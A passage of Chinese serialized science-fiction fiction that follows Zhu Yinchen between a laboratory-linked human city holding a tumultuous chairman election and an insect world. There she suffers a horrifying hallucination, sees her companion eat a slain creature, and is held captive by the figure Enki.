算了,先不管伊南娜了,反正她至少目前不会对我们不利。祝吟辰一边吃,一边想着怎么跟安提商量今天晚上尽量不要外出的事,毕竟她不在,为了保险起见,安提还是不要轻举妄动比较好。
万一真打输了,或者有什么突发情况就不好了。
祝吟辰组织了一下语言,开口道:“安提,”
安提嘴里嚼着肉,含混不清地回道:“我在。”
“我今天有点不舒服,夜潮时分,你留在屋里照顾我吧。”
即使腮帮子里全是食物,也能看到安提的神色一下子变得严肃起来,她认真地应了一声,然后把几盘鲜肉推到祝吟辰面前,桌前立马堆起了一座小肉山。
……看来应该不会出什么事了吧。祝吟辰心想,看着安提富有活力的身影,放下心来。
……
【中心程序返回中,请保持意识清醒】
【传输完成】
身边的液体逐渐退去,祝吟辰睁开眼睛,几个实验室人员打开舱体,搀扶起她,帮助她脱卸掉身上的实验装置后,将她带到更衣室后离开。
祝吟辰换好衣物,打开门,几个执行人员站在她面前,为首的一个做出有请的姿势,她点点头,跟在对方身后。
本以为要一如往常去联合会议室作报告,没想到执行人员拐了个弯,径直带着她走向走廊尽头的一间小会议室。
祝吟辰心生疑惑,路过联合会议室时,她不动声色地往里瞥了一眼,里面似乎在召开什么会议,会场布置空前地豪华大气,一些前所未见的达官贵人在里面高谈阔论,好像在商量什么大事。在会场中心人群簇拥间,她隐约看到了一个熟悉的身影,但是时间太过短暂,还没来得及看清,她就走过了大门。
进入会议室后,祝吟辰又注意到台上本来应该是十二个主席的位置上莫名其妙少了四个,她掩下心中的疑惑,在八个主席面前作完报告后,被带出了会议室。
几个执行人员开车护送她到了家门口,似乎在耳麦里突然收到了什么命令,朝她点点头后匆匆离去。
发生了什么?祝吟辰心中生出几分焦虑不安,她点击手腕的通讯器,原本有五个小时的时间来做报告,可是今天主席们只匆匆让她报告了半个小时后就迫不及待地打发她走人。
现在离意识连接还有足足四个小时多的时间,她该做些什么呢?
先去找奕川吧,看望一下雌虫的情况,再问问她AGPC发生了什么事。
祝吟辰打定主意,她推开家门,本打算换件大衣就走,没想到手还没摸到门上的识别屏,门就先一步打开了,一个男人站在她面前,他看起来还很年轻,脸上挂着礼貌的微笑。
“你好,祝少校。”男青年伸出手,一双浅褐色的眼睛真诚地看着她,“我叫凌风,是奕长官的下属,请您跟我来。”
……
凌风开车,二人来到A1区最繁华的商业区一带。
透过车窗,祝吟辰注意到这一路上街上异常地热闹,头戴标有标语的头巾、举着牌子和横幅的人群来来往往,但不同于以往的暴力和乱象,商店门口摆着各色旗帜和立牌,商业活动的播报声此起彼伏,彩带漫天飘洒,抬头望去,就连天上车道上飞驰的车流都闪着不同颜色的光芒,时不时有口号传单从天上车窗里飘落下来,人们脸上带着激动兴奋的笑容,四处奔走,几个同色头巾的人聚在一起,高兴地彼此拥抱,又随着人流往前走。
A1区难得的和平景象,到底发生了什么?祝吟辰心中的疑云越来越深,但看到这样和谐的景象,她的心情不自觉放松了一些。
“到了,这边请。”祝吟辰下车后,立刻就闻到了空气里传来的一股蛋糕香甜味道,她看过去,是一个做甜点活动的小摊子,祝吟辰笑了笑,看看四周,这里是A1区大学城中心,也是A1区的教育及人才培养基地,许多学者和学生受到AGPC的优待,居留在这里。
她曾经也在这里就读过,那是一段母亲还在的,温馨的时光。
掩下心中对于过往的追忆,祝吟辰跟在凌风身后,走进一条小巷,进入了一间小公寓,打开门后,奕川出现在她们面前。
祝吟辰跟奕川打了招呼,坐在沙发上,忍不住感叹道:“没想到你们把大本营设置在这样热闹的地方。”
奕川倒了杯水,递给祝吟辰,“负责巡逻这里的执行人员是自己人,学生是我们的重点培养对象,于是我们在这里设了几个据点,这里就是其中之一。”
祝吟辰接过水,点点头表示理解,她喝了口水,奕川对乖乖坐在一旁的凌风说了句什么,凌风立刻跑去了隔壁房间,奕川转过头,笑着说道:“雌虫的情况好了很多,我们给她取了名字,叫阿图特,附近的几个学生成员还教了她一些简单的人类的日常语言。总之,她现在不错,要来看看吗?”
祝吟辰点点头。
她们进入隔壁房间,这里是一间卧室,房间非常整洁干净,阿图特坐在床上背对着她们,凌风正在小心翼翼地用药剂擦拭阿图特左眼的伤口,神情格外认真。
“阿图特,”奕川率先开口,语气柔和,“还记得她吗?她就是祝吟辰,把你带到家里来的人。”
凌风的动作顿住,阿图特转过头来,对视上阿图特星彩般流转的、平静的眼睛的一瞬间,祝吟辰心中不禁一紧,竟生出些想避开的冲动,但她忍住了,和那双眼睛沉默地对视着。阿图特点点头,算是打了个招呼,然后转回身子。
凌风继续为她擦拭伤口,祝吟辰一时间感到有些尴尬,又有些庆幸的宽慰,她对奕川点点头,表示自己已经看完了,奕川笑了笑,带着祝吟辰离开房间。
“好好养伤。”关上房门的一瞬间,祝吟辰忍不住留下一句。
她没有去看阿图特的动作。
奕川带着祝吟辰上了二楼,她打开显示屏,放了一部电影,把声音调大,遮蔽二人交谈的声音,拉上落地窗的窗帘后,又去冰柜拿了一些甜点回来,坐在祝吟辰旁边,二人一边看电影,一边闲聊。
奕川一边切着蛋糕,一边遗憾地说道:“还有三个小时,您就要走了。”
祝吟辰摇摇头,帮她整理餐具,说道:“不用这么客气,你帮了我很多,在我眼里,你已经是我的朋友了。”
奕川笑了笑,“真不错,今天我可以在星际特工局打通人脉,看来明天打进AGPC十二主席也不是难事。”
祝吟辰嘴角上扬了几分,她们对视一眼,都忍不住笑了起来,祝吟辰突然想起了什么,“对了,联合城邦发生了什么吗?商业街很热闹,联合会议室也有很多不认识的新面孔,好像在商量什么大事。”
奕川想了想,恍然大悟地点点头,“你以前都在无人区外围工作,不了解联合城邦的运作机制倒也正常。”
她点了几下手腕上
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的屏幕,调出几个立体影像给祝吟辰看,只见影像闪了闪,十二个主席的家纹呈现在上面,然后是带着不同家纹纹样头巾的人们举着口号四处奔走,联合会议室内的精英们激情四射地演讲,十二个主席的影像一一展现,最后影像停留在一个熟悉的男人界面上。
祝吟辰微微皱起眉头,她抬起头,视线转移到奕川脸上,难以置信地问道:“是……萧衍?他来AGPC了?”
“是的。”奕川肯定地点点头,推了一下眼镜:“你不在的这几天,萧主席去世了,他家有三个儿子,都跑回来争位子了。”
“争位子?”
“是的,你也看见了,现在是十二月下旬,到了四年一度的轮选十二主席的大选日子了,人们都在忙着支持自己认同的家族。”
祝吟辰若有所思,“ 我还以为十二主席不变呢,我去无人区工作之前是他们十二个人,回来后还是他们十二个人。”
奕川笑了笑,她喝了口茶,说道:“以前确实没有这个大选,是几天前萧主席死后,会议院里其他人趁机投票投出来的新规矩,毕竟十二主席已经老了,十二家族把权利握得再紧也总有撒手的一天,年轻人需要更多的新机会。”
“原来如此,听起来不错。”祝吟辰点点头,想了一下,还是犹豫着问道:“你们拉拢了哪个家族吗?”
“事发突然,我们没来得及统筹到足够的基金,打算先吸取这一届的经验,做好准备,下一届再参与。”
“所以……确实是有了拉拢对象,只是钱不够,是吗?”
奕川转过头来,她认真地看着祝吟辰的眼睛,笑着调侃道:“我们是不是发展得有点快?”
祝吟辰心中一惊,一时间有些无措,奕川却肯定地点了点头,插了一块点心,说道:“没错,我们打算拉拢萧衍。”
祝吟辰心沉了下去,她在无人区工作的时候和萧衍曾经共事过一段时间,二人完成任务后不欢而散,在任务评级里都给对方打了最低分。
祝吟辰的理由是“严重违反任务执行流程,滥用个人权利,多次对内谎报不实情报,极度漠视任务目标生命人权和人格尊严”。萧衍连理由都没写,画了个巨大的男性生殖器在卷面上就交了上去。
在其他同事那里得知这件事后,祝吟辰就更加厌恶这个昔日的同事了。
她稳了稳心神,尽量让语气显得平静,问道:“为什么是萧衍?”
“他之前一直待在无人区里做事,在上邦没有什么势力,正要找个依靠的合作伙伴。我们虽然势力和声量不大,但是是他目前为数不多能够得着的势力之一。至于我们自己,也没有能攀上的大家族,萧衍好歹是萧家的后代。彼此都差不多,也就惺惺相惜了。”
“这样啊。”祝吟辰勉强点点头,表示理解。门被有节奏地轻轻敲响了三下,奕川站起身,“走吧,时间快到了,我送你去生化实验室。”
“谢谢。”
……
重新躺进冰冷的舱体,舱内的液体慢慢上升,漫延过身体,意识逐渐模糊,陷入一团温暖的、柔软的光晕中,一点点坠落下去。
【已降落指定坐标】
祝吟辰睁开眼睛,意识一点点清醒过来,她晃晃头,慢慢坐起身,四周是熟悉的房间,窗外投进血色的天光,跟她走前几乎一模一样。
明明已经过去了五个小时,天怎么还没亮?
祝吟辰心中隐隐有了一种不祥的预感,她向屋外一步步走去,只觉得空气是如此沉重,似乎有什么东西在蔓延、传播,压抑着全身发麻。
她试图把门推开,手腕却忍不住地颤抖起来,一股强烈的恐惧募地把她抓紧,呼吸也一寸寸地发紧,她突然生出一种原始的、逃跑的冲动,想要立即逃离这里,回到初生的卵里,回到母亲的胎腹中,把双眼紧紧闭上,做一个无知的东西,就好像什么都没有发生过,这个世界连同她的人生都是一场梦的幻影。
但是她就在这里,手放在门上,门外有什么东西存在着,而她现在要做的就是张着眼睛去看,然后可能用其他肢体或者器官去做别的事情,比如突然跑起来,或者大喊大叫,也许她是对的,她可以立马就这样做。
不,她打定主意要这样做,因为她就是来做这个的,打开门,然后一直跑,嘴里发出一些声音。
于是她满怀信心地打开了门。
15. 夜幕降临,蛛网结成
好像是进入了熟悉又陌生的世界,眼前的一切景象似乎没有什么变化,只是古怪地模糊成一片幕布、天与云与山与水似乎变成了一个粘稠的整体,每一个粒子都在跳跃、波动,如同坏掉了的不停闪烁的屏幕。
每向前走一步,身体就僵硬一分,好像灌满了泥水般,渐渐的,眼里的景象开始有了变化,但她心里越发恐惧起来,她的眼睛开始不受她的控制,她说不出是景象里的事物真的出了什么问题,还是自己的眼睛突然活过来了。
于是她用皮肤去感受着周围,隐隐约约感觉天上的云层里似乎有什么东西钻过来钻过去,好像一团活动的血管,把天空像肉块一样串挂起来。
她知道她的眼睛在盯着天上那个巨大的、红色的东西。
一个球体,表面坑坑洼洼的,有一些纹路在上面动来动去,一鼓一鼓的,在球体表面交织汇聚成一个圆形。她看不清那圆形里有什么,好像是有什么东西从里面爬上来,又好像是有什么东西从外面爬了进去。她其实更倾向于是有东西从里面爬了出来,因为天是这样的,地也是这样的,古怪地扭动着,每一个粒子都摩擦着跳动,有窸窸窣窣的声音钻进耳朵。
身体隐隐约约有冰凉的感觉传来,好像是下雨了,又好像是肉块纷纷滴落下来的血,带着一点浓重的腥味,打湿面颊,滴落鼻尖一点,然后向下流淌到嘴角,又滑落到脖颈处,蓦地人察觉到分外干渴。
她突然很想喝水,想挪动身体在附近找找有没有水源,但是眼睛并没有转动,于是她努力地扭动起四肢,摸索着向前进,一步、一步……突然的,指尖好像触碰到什么柔软的东西,是一种分外熟悉的、恐怖的亲密感。
她心底升起一种了然,那底下一定有什么东西,热烈地、滚烫地跳动着,一团粘稠的混合物围绕着它,随着它的跳动一起一伏。
但是她没有去看,眼眶里逐渐流出泪来。
呼——吸——,呼——吸——,……
她现在已经打开了门,身体也已经跑出来了,下一步要做的就是喝水。
哪里有水呢?天空上的巨大球体里面一定没有水,有也够不到,太高了。
地上也没有水,只有土腥的泥泞。
空气里有水,但是嘴巴接不着,也不解渴。
……
她混乱地思考着,突然忍不住笑出声来,手指尖可以摸到的地方一定有水,她一直都知道,只要低下头,把手聚成一个盆状,再张开嘴巴就可以喝到,她肯定是知道的。
所以下一步就是把头低下去——
但是你告诉我,你为什么不去看呢?
“……伊塔,你醒了。”
她回过神来,脸上湿漉漉的一片,露出似笑非笑的癫狂的神情,嘴巴大张着喘着气,尝到眼泪和鼻涕的咸味的时候她才恍然大悟,她应该直接喝眼泪的,因为眼泪也是水。
她不再思考了,麻木地张着眼睛,静静看着眼前的一切。
安提在吃之前遇见的那个阿利都,他的羽毛很漂亮,但是现在浸染了血,变得不好看了,现在他乱七八糟地四处散布着,这里一块,那里一块,所以可能也不会很生气。
她还注意到安提的喉咙滚动了一下,看来安提已经吞下一块肉了,看来她确实很饿。
好吧,等她吃饱了,她就带她走,去下一个地方。
祝吟辰正想提醒安提吃得快一点,就突然看见有几个黑影用一种诡异的方式扭动着,朝这边冲过来,她心中一惊,正要防守,却发现身体已经僵在了原地。
她着急起来,连忙张开嘴巴想喊安提快跑,但已经来不及了,那几个黑影已经冲到她们身边,把她们按倒在地上。
在身体松动扑倒在地上的一瞬间,祝吟辰突然感到一丝由衷的宽慰。
眼泪其实不好喝,她可以回去喝水了。
……
“你们去把剩余的身体送到冥土里,告诉阿利都们不要外出。”
“你们三个去沙漠南部,把伊南娜找来,告诉她我有重要的事。”
“你去西边找一个拉姆……”
恩基交代完事情,又赶往空居里安提的房间。
沿着基尔加的血迹,她走进一个果实里,一屋子的血腥气涌进鼻腔,她皱了皱眉头,看着遍布基尔加碎肉的果实内壁,屋里的羽毛和花瓣乱七八糟地飘散着,这里已经看不出原本温馨日常的样子。
走到窗前,她俯下身子,从地上拾起一颗眼球,瞳孔是金色的,边上镶嵌着一圈碎银,看起来非常美丽,她仔细地观察了一会儿,又轻轻将它放回地上,一会会有阿努来将它送到冥土,献给埃勒伽。
恩基又在房间里检查了几圈,确定没有什么遗漏的没消灭的痕迹后,她满意地关门离去。
花了大约半天的时间回到菌群,天色逐渐泛红,恩基坐到椅子上,终于感到一点这段时间以来四处奔波的疲惫,她揉了揉额角,闭上眼睛,打算趴在桌子上休息一会儿。
两个夜潮的时间,下属们应该就可以把安提和另一个阿努带回来了,在此之前,她必须要做好保密的准备。
一切都还掌握在她手中,就像往常一样,这很好,以后要更谨慎些,不能再出额外的差错。
恩基嘴角不自觉钩起一抹温柔的笑意,身体也放松下来,在这么多天的担忧过后,她终于可以带着久违的安心感,沉沉睡去。
……
最后一天,联合城邦在数十天的狂欢中迎来舆论的最高峰,无论是家里面还是街道上,人们挤在银行里,围在赌桌前,盯着屏幕上公示票数的每一个数字,神经兴奋到了极点,每一次数字的微小变化,每一句认同或是反对的声音都可以瞬间点燃一群人的激情。
在数天的网上选举中,已经有大部分的参选者被投票淘汰,剩下来的二十位候选人将在今晚的选举中进行最后的对决,十二位主席的位置将在上邦A1区的联合公民中心会场决出胜负。
天色已临近傍晚,结果将在今夜零点揭晓,人们举着口号板,头戴自己支持的家族的家纹,在街道上走来走去,比起前几天,他们已经有了自己的秩序和组织纪律,一些家族甚至特意派出了专门的使者,作为为首的领队领导组织支持他们的人群。
“我第
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一次见AGPC这么和谐。”凌风望着街道上的人群,忍不住感叹道。
他关上窗,回头看向阿图特,对方似乎没察觉他的动作,专注地低着头看手环上投映的视频。
凌风无奈地笑了笑,坐到阿图特身边,看她看的视频。
上面播放着AGPC广播电视台最新放送的战前生物记录影像,一条蓝鲸呈现在屏幕上,在浩瀚无垠的大海里自由自在地游着,身边围着美丽的鱼群,光线与鳞片交汇的一瞬间,无数奇异的虹光在海底熠熠生辉,倒映在蓝鲸的眼中,也倒映在阿图特眼中。
只是他觉得,她的眼睛比蓝鲸、大海和鱼群都要美丽。
门突然被轻轻敲响了三下,凌风猛地从床上弹起来,冲过去打开门。
门口站着一个扎着高马尾辫,穿着学生志愿者工作服的女生,她看了看阿图特,又看了看凌风,挑了挑眉,下巴往客厅方向一扬,转身径直离开。
凌风连忙关上门,紧随其后,似乎是为了缓解尴尬的气氛,他忍不住问道:“今天到你值班了?”
“没有。”
“啊?”凌风诧异地看了一眼女生,“那你干嘛来这里啊?”
“因为我是乱说的。”
“你——”
“你被编到会场左侧第三观众席的志愿队了,你队长刚刚在找你,让你去开临时会议,你现在最好赶紧去找你队长。”
“这么突然?!……好吧,谢谢你。”凌风脑海顿时浮现出队长在上一次会议上的狂暴状态,不禁感到头皮发麻,立刻马不停蹄地打车离开。
女生也打了辆车,独自前往会场的方向。
“陈立新在哪里?陈立新!陈立新……”
“我在这里!”车刚刚停到路边上,女生就迫不及待地跳下车,向奕川的方向招着手跑过来。
奕川站在一群学生志愿者中间,正在给各组的队长交代注意事项,她此时是作为AGPC民间情报局的协助志愿者来组织学生们的,而非红派的干部,所以与学生们的一切接触都可以光明正大地进行。
奕川仔仔细细地给前面的队长们交代完了事务后,才看向最后一个到场的陈立新,看着陈立新百无聊赖的样子,奕川关切地问道:“出了什么事,怎么现在才来?”
陈立新翻了个白眼,“凌风的队长联系不上他,临时找到我这里来了,但我也打不通他的电话,只好花了点时间去俱乐部找他。”
“原来如此。”奕川笑着扶了一下眼镜,“辛苦你了,小陈队长。”
“没事,小问题。”陈立新耸耸肩,“没其他事的话,那我先去了?”
“去吧。”奕川看着陈立新的背影走远去。
此时大屏亮起,广播中响起宣布会场开放的声音,激动的人们鱼贯而入,她转过身,人们向前方跑去,而她逆着人流的方向,看向天空。
夜幕已降临了,天边最后一抹昏黄暮色彻底消失,漆黑夜色覆盖住整个城市,犹如魔术师的黑色幕布。接下来这幕布下的舞台会出现怎样精彩的表演,她很期待。
她转过身,与人群一同走进会场。
16. 在黎明升起之前
会场呈圆形,仿照古代罗马斗兽场建成,中间是演讲的舞台,环状的大屏投射在舞台上空,每个人都可以从里面看到演讲者和主持人的一举一动。
观众席的座位上安装有会场即时显示的一次性个人屏幕码,只要用手环扫一下电子门票上的识别码,就可以直接使用它,从会场的投票变化乃至自己的心率涨落都可以即使监测到。
【滴——识别到奕川女士,请于会场东区416号座位落座】
【识别到您已经连续六个小时未进食,是否要根据过往购买习惯预购小食?】
奕川点击确认,寻着座位号数找到了自己的座位,这里视野不错,可以很好地观看舞台中央。
她摘下眼镜,闭上眼睛,静静休息了一会儿,一个飞行机器人载着一块蛋糕和一瓶牛奶飞过来,座位立刻弹出桌板。
【滴——奕川女士,您的小食已送达,祝您用餐愉快!】
“谢谢。”
奕川戴上眼镜,揉了揉太阳穴,她一边吃着蛋糕,一边打起精神暗中观察会场里的来客。
观众席几乎已经满座了,人们热热闹闹地聊着天,现场一片喧闹。观众席的最前排坐着七个人,其中有四个正你推我让地聊得火热,另外三个则冷冰冰地各自坐着,他们就是现任十二主席之七,不出意外的话,今晚他们中的一些人就要下台了。
奕川看向空着的其他几个位置,还有五个人没到。
她吃完蛋糕,点击屏幕呼叫飞行机器人来回收垃圾,这时候大屏突然亮起,会场的气氛瞬间点燃,人们热情地呼喊着,期待着接下来的正式选举。
突然,一束聚光灯打落在舞台中央,照亮了一个丰腴美丽的女人。她戴着一顶巨大的帽子,帽檐下的红唇勾起一抹迷人的弧度,一身奢华的衣裙上镶嵌着数万颗宝石,黑色的羽毛做身体曲线的装饰,羽毛上的五彩斑斓的光泽流光溢彩,一直延伸到长长的飘逸的羽裙后摆,几乎铺遍了整个舞台。
此时此刻,她就是整个世界上最华丽瑰丽的宝石,是每一颗眼球的唯一的视线焦点。
当人们从这突然出现的炫目迷人的光泽中回过神来,发觉她是谁的时候,整个会场猛的爆发出巨大的阵阵欢呼。随着人们的激情越来越狂热,女人的动作也慢慢舒展开来,她打了个响指,音乐响起,她微微一笑,红唇微启,今夜在她唱出的的第一个音符里揭开序幕。
奕川看着这个女人,内心也不禁被这热情的氛围所触动。她是联合城邦最著名的歌星,时尚界第一夫人,也是有名的慈善家,白银。
白银在社会上非常活跃,众多公共场合都有她的身影,前往下邦做慈善的新闻更是热搜上的常驻版块,人们之所以如此激动,不仅仅是因为他们喜爱白银这个人,还因为在几天前,白银公开宣布自己要参选十二主席,并发布了接下来的拉票行程。
照现在这个样子,白银的获胜恐怕是情理之中的了。奕川暗暗心想,她一边跟着欢呼流泪的人们唱着白银的歌,一边暗中观察其他的主席候选人。
观众席的第一排基本上已经坐满了,只有角落里还空着三个位置,奕川数了数,除了中途离开的白银,还差萧翎和AGPC首席科技家袁立没有到场。
按理来说,选举会上,所有的现任主席都要到场才对,但是袁立是出名的不问世事,一心求真的科学狂人,所以他不来也正常。
至于萧翎,他是她们此次合作人萧衍的大哥,子承父业,如今是无人区特遣部队的首领,大概是因为AGPC早就内定无人区必须保有一个主席的原因,他在网上公投中打败了他的两个兄弟后就径直回去了无人区。
那么,萧衍在哪里?他大哥都已经回去了,难道他落败后心怀芥蒂,甚至不愿意观看最终演讲吗?
白银一曲唱罢,优雅地鞠躬下台,人们恋恋不舍地目送她离开会场,他们知道她今晚还要去下邦做慈善,而她甚至不用准备接下来的演讲,因为这一首歌已经告知了所有人,她会赢得胜利。
会场亮堂起来,真正的剧目开始了。
主持人简短地做了个开场白,然后就请出了第一位演讲者,AGPC最高执政官,杨威。
他年方五十,体格健壮,周身散发着不怒自威的气势,沉稳地大跨步走上讲台,环视了会场一圈,俨然一副人类首领的威严做派。
对于第一个出场者就是如此一位重量级的人物,人们纷纷陷入了寂静,他们就像是犯错的孩子听着父亲的训诫一般,沉默着听着杨威的官方式的演讲。
事实上,根本没有人想过撼动杨威这把联合城邦第一人的位置,所以这种对决式的演讲也就显得有些不懂事的尴尬。
三十分钟过去了,杨威演讲完毕,人们纷纷松了一口气,但接下来的出场者让他们陷入了更沮丧的境地,他们发现自己实际上根本无法撼动这些人的位置,有些人甚至开始怀疑他们是否不应该举行这场选举,因为他们根本没有怀疑这些主席的资格和权力。
无论如何,演讲就这样一轮轮下去,随着时间的流逝,人们逐渐意识到,越是次序靠后的候选人,演讲的时间也就越少。
观众席里开始有了窸窸窣窣的讨论声,等待着的候选者们也从一开始的侃侃而谈变得焦急不安。
白银的离开给了后来者们喘息的机会,他们抓紧每分每秒,故意拉扯延长自己的演讲时间。渐渐的,会场内的氛围越来越紧张压抑。
在屏幕倒计时离十二点还有五分钟的时候,意外发生了,最后一个演讲的候选人冲上台,把排在他前面的还在滔滔不绝演讲的候选人打倒在地,两个人在台上厮打起来,安保人员立刻冲上舞台维持秩序。
会场的氛围重新变得松弛热闹了许多,会场里回荡起阵阵欢呼和加油鼓劲的呐喊,整个会场充满了快活的气氛。
在这难得的放松时刻,奕川终于看到了那个她苦苦寻找的身影——萧衍。奕川暗暗瞥着东区最后一排的角落,一个身着军装的男人隐藏在阴影中,冷冰冰地看着舞台上的一切,他的身旁坐着一个年轻少女,少女依偎在男人的臂膀里,一动不动,似乎是睡着了。
等选举结束后,就过去找他吧。奕川心想着,开始盘算起接下来双方交接信息的事项。
她们在无人区的线人传来情报,萧衍过去长期在他大哥手底下工作,为了自我证明还自发请调到了污染最严重的北海地区,根本没有想过要和别的家族往来过,全靠二哥萧岘一个人在对外维持萧家的人际往来,活脱脱被宠坏的小儿子一个。
所以现在最重要的,就是借助人们心目中无人区特遣部队的可靠英勇印象,对外打造萧衍的亲民人设,特别是在远离萧翎势力范围的上邦。
不知道舞台上的武力对决是何时结束的,最后一位候选人不幸落败,鼻青脸肿地倒在地上,被匆匆抬走。
观众席发出一片唏嘘,紧接着,主持人上台,宣布了选举投票十分钟倒计时正式开始。
观众席的座位上弹出屏幕,上面显示了投票页面和倒计时,人们变得紧张起来,会场里一片寂静,人们安静地斟酌着,投出自己宝贵的一票。
从
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会场现场到上邦的各家各户,人们都在积极地参与投票,只有安全区外的下邦一片黑暗的死寂,那里没有足够的电力来维持夜生活,那里的人们也没有完整的公民权,在这样意义重大的时刻,他们沉默着,等待着历史的车轮碾过。
但至少这里有一个下邦人有决定历史的资格。
周明稳稳当当地坐在观众席第一排,胸有成竹地等待着投票倒计时结束,他是联合城邦最大的能源公司的老板,也是联合城邦人性黑暗的一面的主宰——黑环的幕后老板。
黑环是下邦的地盘,也是联合城邦最大的地下黑市交易地,掌握了无数人阴暗肮脏的秘密,周明已经买下了足够的人的投票权,今晚他踌躇满志,胜券在握。
戴着家纹戒指的大手握住一杯酒,他啜饮一口,砸吧出一声荡气回肠的感叹。
倒计时正好停止,聚光灯打在他和其余八个人身上,在人群爆发的欢呼声中,他挺着油脂肥厚的肚子站起身,和在场的其他主席一起,笑着向人们招起手来。
观众席最后一排的角落里,萧衍冷笑一声,不耐烦地起身离开,一旁的少女被惊醒,她揉了揉眼睛,默默地跟上。
突然,他们身后响起一个声音,“您好,萧少校。”奕川紧赶几步,面上挂着礼貌的微笑。
看到萧衍停下脚步,她奉上名片,紧接着说道:“我是此次合作的新负责人,奕川,这是我的名片。”
萧衍微微皱眉,他接过名片,仔细打量了一下奕川,确认了是红派的人后,才舒展开眉头。
“找我有什么事?”
“我们需要您的私人联系方式,以便于今后的合作。特别是对于您在上邦的未来发展。”
“我记得我给过另一个负责人了。”
“很抱歉,目前红派内各个负责人的事项并不对接。对此,我们今后会加强负责人间的合作,请您放心。”
“……行吧。”萧衍勉强点了点头,奕川点开手环屏幕,二人扫了一下识别屏,联系方式正式对接。
奕川还没来得及客套一番,萧衍就径直转身走掉了,他身后的少女默默跟上。
奕川注意到那是个纤弱苍白的女孩,看上去才刚成年,散发出疏离敏感的气质。
“你就在这里跟他碰头,不怕被偷拍?”
肩膀突然被拍了一下,奕川吓了一跳,回头看见是陈立新,松了一口气,抚着心脏点了点头。
“监控室里是我们的人。”
“这样啊,看来我们发展得还挺快。”
“自由和平等是大势所趋,人心所向。”奕川笑了笑,陈立新却摇了摇头,说道:“我看萧衍这人靠不住,既没有对未来的规划,也不懂得为人交际,多半只是因为目前只能依靠我们,才愿意和我们合作,我们的理念他是不懂的,还是找别的候选人合作好。”
听到这话,奕川抬了抬眼镜,迟疑了几秒,“即使如此,我们已经对萧衍投入了一定的成本,组织目前的规模和资金恐怕没有足够让我们有挑挑拣拣的能力。”
“……行吧,不过依我看,我们与其继续加大对萧衍的投资,不如把资金和精力花在拉其他的投资上面,只要我们强大了,自然没必要去思考怎么控制萧衍,他自己会乖乖合作。”
“你说的确实也有道理。”
两人闲聊着走出会场。天边出现一线曙光,这个常年笼罩着浓雾和灰尘的城市迎来第一个光辉灿烂的黎明,大地一寸寸温暖起来。走出会场的人们迎着朝阳,发出阵阵欢呼。
新的时代降临了。
17. 密室无所逃,回溯夜谈时
从黑暗的混沌的世界里脱出身来,两片眼皮昏昏沉沉地张开,眼前是模糊的墙壁,带着土黄颜色的重影,祝吟辰勉强支撑起身体,扶着墙壁,摇摇晃晃地站起来,试图看清周边的环境。
意识渐渐清明,手心传来粗糙的质感,脚下是湿滑的积水和苔藓,这里是一个小小的洞穴,黑暗浸没了每一寸空间。狭隘的洞穴外隐隐约约透出点点飞舞的荧光。
祝吟辰向着洞口走去,却听见撕拉一声,她的手脚被某种不知名的丝线牢牢拴在了黑暗深处的一头,她沿着丝线走去,瞧见丝线一直通向地面的淤泥里,她扒开淤泥,试图找到丝线的尽头,但没有两分钟她就放弃了,这丝线仿佛地心的毛细血管似的,挖不倒尽头。
挣脱不开丝线,祝吟辰只好坐回地面上,即使身上变得泥泞不堪也不在意,某种意义上,她需要这些脏东西帮助她找到一点实在感和安全感——她是确确实实被困在了这里,并且已经逃脱了那种可怕的体验的。
祝吟辰靠在墙壁上,饥饿感和寒冷一阵阵袭来,她的眼前又开始一阵阵地发昏,然而前些天的景象又出现在眼前,血肉模糊的阿利都,天上的巨大球体,虚无缥缈的世界……和安提。
头痛欲裂的感觉阵阵袭来,她忍不住俯下身子,哇地一声吐了出来,眼泪鼻涕和口水都一齐向外流淌,鼻腔里传来胃液火辣辣的感觉,安提现在在哪里呢?她现在还活着吗?
那天好像有阿努来带走了她们,她没有看清她们是谁,如果安提被虫后处死,她的计划是不是就败露了,那些人虫和平共处的新理想也就此破灭了呢,她现在……该怎么办呢?
别去思考了,祝吟辰。
你现在很累了,我现在很累了。
祝吟辰像是把整个胃都翻了出去,大约吐了十多分钟后,她才感觉稍微好了一点,疲惫地靠到墙壁上,放空大脑,闭上眼睛。
洞穴上方似乎有积水滴落,耳边传来突兀的滴答声,手腕上的丝线传来隐隐约约的振动,但祝吟辰并没有动作,静静地等待着即将到访的来客。
洞口似乎传来窸窸窣窣的声音,几点荧光随着来者的动作飞了进来,紧接着是有节奏的脚步声,低沉清冷的声音在洞穴中响起:“幼小无知的阿努呵,可还记得你的名字?”
祝吟辰睁开眼睛,眼前立着一片黑色的纤长身影,是恩基,她身后的长发被洞穴墙壁里穿来穿去的银色丝线挽起,悬在空中,一直通往洞穴外面去。一双猩红的蛇目冷冰冰地看着她,眼神里似乎透出点复杂的情绪。
“……伊塔。”
“很好,”恩基转过身,似要离开,“你就待在这里吧。”
祝吟辰沉默着闭上了眼睛。
“……算了。”
祝吟辰感到手脚上的丝线慢慢松开、消失,她再次睁开眼睛,看见恩基站在洞穴门口,用一种怜悯的眼神看着她,祝吟辰突然恍惚了一下,这就是被恩基爱护着的那些阿努的平常的感受吗?
恩基向她伸出一只手,态度中仍然带着一些疏离,“来吧,你需要足够的休息和营养的食物。”
不知为何,刚才还僵硬冰冷的身体突然多出了几分力气,祝吟辰勉强站起来,扶着恩基的手,保持着一点距离,沉默地跟着恩基离开洞穴。
走出洞穴,外面是更大的洞穴,一些菌落散布在地面和墙壁上,菌丝发出五彩斑斓的光芒,顶端的孢子飘散开去,长出透明的翅膀四处飞舞着。
地面淌着血水,但随着她们越往前走,血的颜色就越好,菌落的成长状态就越好,等她们走到另一个洞穴口时,地面和墙壁上已经铺满了菌落,仿若发光的蛋壳的世界,梦幻的孢子迷幻了整个世界,目之所及都绽放着、流动着五彩斑斓的颜色。
祝吟辰目不转睛地看着这一切,心中的压抑和悲伤似乎也渐渐淡去,她伸出手,轻轻触碰了一点飞过来的荧光,荧光竟停留在了她的指尖上,变换着忽明忽暗的光芒,好像是飞不动了,在喘着气休息似的。
恩基神色复杂地看了一眼祝吟辰,这个小小的阿努本不该承受这样离奇的命运,她本应该安安静静地躺在温室里,做一切卵壳里的美梦,醒来了就有玛赫温暖的怀抱。
走出菌落洞穴,穿过长长的隧道,一直走到路的尽头,无数丝线结成的网阻拦在她们前方,恩基放开祝吟辰的手,向那团丝线伸出手,口中默默吟诵了些什么,只见条条丝线慢慢舒展开,似乎有生命力一般,每一根都向恩基的黑色的指尖延伸过来,穿溶进皮肉里消失不见。
